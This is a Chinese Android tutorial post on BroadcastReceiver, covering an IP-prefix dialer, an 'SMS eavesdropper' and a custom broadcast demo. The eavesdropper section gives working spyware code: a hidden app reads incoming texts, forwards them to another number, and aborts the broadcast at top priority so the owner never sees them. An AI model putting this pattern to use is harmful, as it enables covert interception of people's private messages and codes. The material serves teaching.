Android中 广播BroadcastReceiver

一、IP拨号器

activity_main.xml文件:

只有一个输入ip的文本框和一个保存按钮,

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity" >

    <EditText
        android:id="@+id/et_ipnumber"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
       	android:hint="请输入要设置的ip号码"
         />
    <Button
        android:onClick="save"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:text="保存"
        />

</LinearLayout>

MainActivity.java

点击保存按钮后执行的程序,将输入的ip号以SharedPreferences的方式保存在本地,

package com.itheima.ipdail;

import android.os.Bundle;
import android.app.Activity;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.view.Menu;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {
	private EditText et_ipnumber;
	private SharedPreferences sp;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        sp = getSharedPreferences("config", MODE_PRIVATE);
        et_ipnumber = (EditText) findViewById(R.id.et_ipnumber);
    }
    /**
     * 保存按钮对应的点击事件
     * @param view
     */
    public void save(View view){
    	String ipnumber = et_ipnumber.getText().toString().trim();
    	Editor editor = sp.edit();
    	editor.putString("ipnumber", ipnumber);
    	editor.commit();
    	Toast.makeText(this, "保存ip号码完毕", 0).show();
    }
}

OutCallReceiver.java

广播接受者,当有外拨电话到来的时候,从本地SharedPreferences中取出IP号,然后和外拨号码拼接成新字符串显示早拨号界面上,

package com.itheima.ipdail;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.util.Log;

/**
 * 广播接收者,当有外拨电话到来的时候 会处理这个消息
 *
 */
public class OutCallReceiver extends BroadcastReceiver {

	private static final String TAG = "OutCallReceiver";
	private SharedPreferences sp;

	/**
	 * 当广播接受者接受到广播事件的时候调用的方法
	 */
	@Override
	public void onReceive(Context context, Intent intent) {
		String number = getResultData();
		Log.i(TAG,"有新的电话打出去了。电话号码为:"+number);
		sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);
		String ipnumber = sp.getString("ipnumber", "");
		setResultData(ipnumber+number);
	}

}

别忘了在AndroidManifest.xml文件中添加,

 <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<!--   意图过滤器 -->
        <receiver android:name="com.itheima.ipdail.OutCallReceiver">
            <intent-filter >
                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
            </intent-filter>
        </receiver>

结果:

二、短信窃听器

MainActivity.java

package com.itheima.smslistener;

import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		finish();
	}
}

SmsReceiver.java

5556->5554发送短信,利用广播接受者取出短信内容

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {

	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到来了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的发件人:"+sender);
			Log.i(TAG,"短信的内容:"+body);
		}
	}
}

当SmsReceiver.java改为如下:

模拟5558->5554发送短信,当5554接收到短信后,自动发送给5556,实现了短信窃听功能,

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {

	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到来了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的发件人:"+sender);
			Log.i(TAG,"短信的内容:"+body);
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
		}
	}
}

当SmsReceiver.java改为如下:

5558->5554发送短信,

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {

	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到来了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的发件人:"+sender);
			Log.i(TAG,"短信的内容:"+body);
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
			//终止短信的广播事件。
			abortBroadcast();
		}
	}
}
<span style="font-size:14px;">在AndroidManifest.xml文件中添加,</span>
 <receiver android:name="com.itheima.smslistener.SmsReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
            </intent-filter>
        </receiver>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>

因为广播接受者优先级1000,最高,而且广播接受着终止了短信的广播后续事件,因此5554并为收到短信,

但是5556能接收到短信,因为在终止广播事件之前向5556转发了,

三、自定义广播接收者

1.自定义发送广播

acticity_main.xml文件为,

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity" >

    <Button
        android:onClick="send"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_centerVertical="true"
        android:text="发送自定义广播" />

</RelativeLayout>

MainActivity.java文件为,

package com.itheima.sendbroadcast;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	public void send(View view){
		Intent intent = new Intent("com.itheima.sendbroadcast.demo");
		sendBroadcast(intent);
	}

}

2.自定义广播接收者

acticity_main.xml文件为空,

MainActivity.java文件为空,

MyBroadcastReceiver.java文件为,

package com.itheima.myreceiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;

public class MyBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Toast.makeText(context, "我是自定义的广播接受者,我接受到了自定义消息", 0).show();

	}

}

在AndroidMainfest.xml文件中添加如下,

<!-- 定义一个广播接受者接受的是自定义的消息 -->
        <receiver android:name="com.itheima.myreceiver.MyBroadcastReceiver">
            <intent-filter >
                <action android:name="com.itheima.sendbroadcast.demo"/>
            </intent-filter>
        </receiver>

时间: 2024-10-22 22:40:27

Android中 广播BroadcastReceiver的相关文章

Android中广播的发送BroadcastReceiver

之前在进行Android开发的过程中,由于某些原因,对android中广播的注册等相关知识进行了回顾及总结.也查看了相关源码及写demo验证.发现对广播的认识更深了一层.下面将所学进行记录,以备随时查看. 这些内容在网上也参考了他人的博客,相关链接如下: [1].基于源码分析的系统发送广播的流程:http://blog.csdn.net/zhangyongfeiyong/article/details/52022935 (很详细,推荐) [2].静态注册无法接收广播的问题:http://blog

国内目前最全面的介绍——Android中的BroadCastReceiver

BroadCastReceiver 简介 (末尾有源码) BroadCastReceiver 源码位于: framework/base/core/java/android.content.BroadcastReceiver.java 广播接收者( BroadcastReceiver )用于接收广播 Intent ,广播 Intent 的发送是通过调用Context.sendBroadcast() . Context.sendOrderedBroadcast() 来实现的.通常一个广播 Inten

Android中广播接收者BroadcastReceiver详解

1. 接收系统的广播步骤 (1)  新建一个类继承BroadcastReceiver 以监听sd卡状态的广播接收者为例 1 public class SdCardBroadcastReceiver extends BroadcastReceiver { 2 3 @Override 4 public void onReceive(Context context, Intent intent) { 5 String action = intent.getAction(); 6 if("android

android中广播的使用

广播消息机制用于进行系统级别的消息通知,每个应用程序可以对感兴趣的广播进行注册,并且将接收广播的方法定义在广播接收器中(Broadcast). 广播可以分为标准广播和有序广播. 注册广播的方法可以动态注册(在代码中进行注册)和静态注册(在清单文件中注册) 我们也可以发布自己定义的广播,并接收. 1.动态注册 动态注册的过程: 1)先自己定义一个广播接收者,继承Broadcast.重写onReceive()方法. 2)创建IntentFilter类,并添加要收听的广播. 3)创建自定义的广播接收者

Android中 广播发送 和 接受 的简单示例

AndroidManifest.xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.broadcast" android:versionCode="1" android:vers

Android中广播的简单使用

//注册本地广播接受者 LocalBroadcastManager broadcastManager = LocalBroadcastManager.getInstance(getActivity()); IntentFilter intentFilter = new IntentFilter(); intentFilter.addAction("test"); BroadcastReceiver mReceiver = new BroadcastReceiver() { @Overr

Android 中LocalBroadcastManager的使用方式

Android中BroadcastReceiver主要用途有 发送通知,更新UI或者数据,应用程序间相互通信,监听系统状态(比如开机,网络等) Android中BroadcasetReceiver的注册方式 manifest清单文件中的全局注册 按照生命周期,在Service或者Activity中使用代码注册 manifest的注册方式  <receiver android:name="com.sample.test.MyBroadcastReciever">       

(转)Android 中LocalBroadcastManager的使用方式

发表于2个月前(2014-11-03 22:05)   阅读(37) | 评论(0) 0人收藏此文章, 我要收藏 赞0 1月10日 #长沙# OSC 源创会第32期开始报名 摘要 android中广播的作用非常大,对程序的运行起着非常重要的作用 LocalBroadcastManager Android中BroadcastReceiver主要用途有 发送通知,更新UI或者数据,应用程序间相互通信,监听系统状态(比如开机,网络等) Android中BroadcasetReceiver的注册方式 m

Android广播BroadcastReceiver

Android广播BroadcastReceiver Android 系统里定义了各种各样的广播,如电池的使用状态,电话的接收和短信的接收,开机启动都会产生一个广播.当然用户也可以自定义自己的广播. 既然说到广播,那么必定有一个广播发送者,以及广播接收器.系统广播的发送者为系统,自定义广播当然是用户定义的了. 我们可以定义一个广播接收器,用来接收我们感兴趣的广播,不论是系统广播还是用户自定义广播.这个广播接收器必须继承至BroadcastReceiver. 老规矩,先来点基础知识. 一.基础知识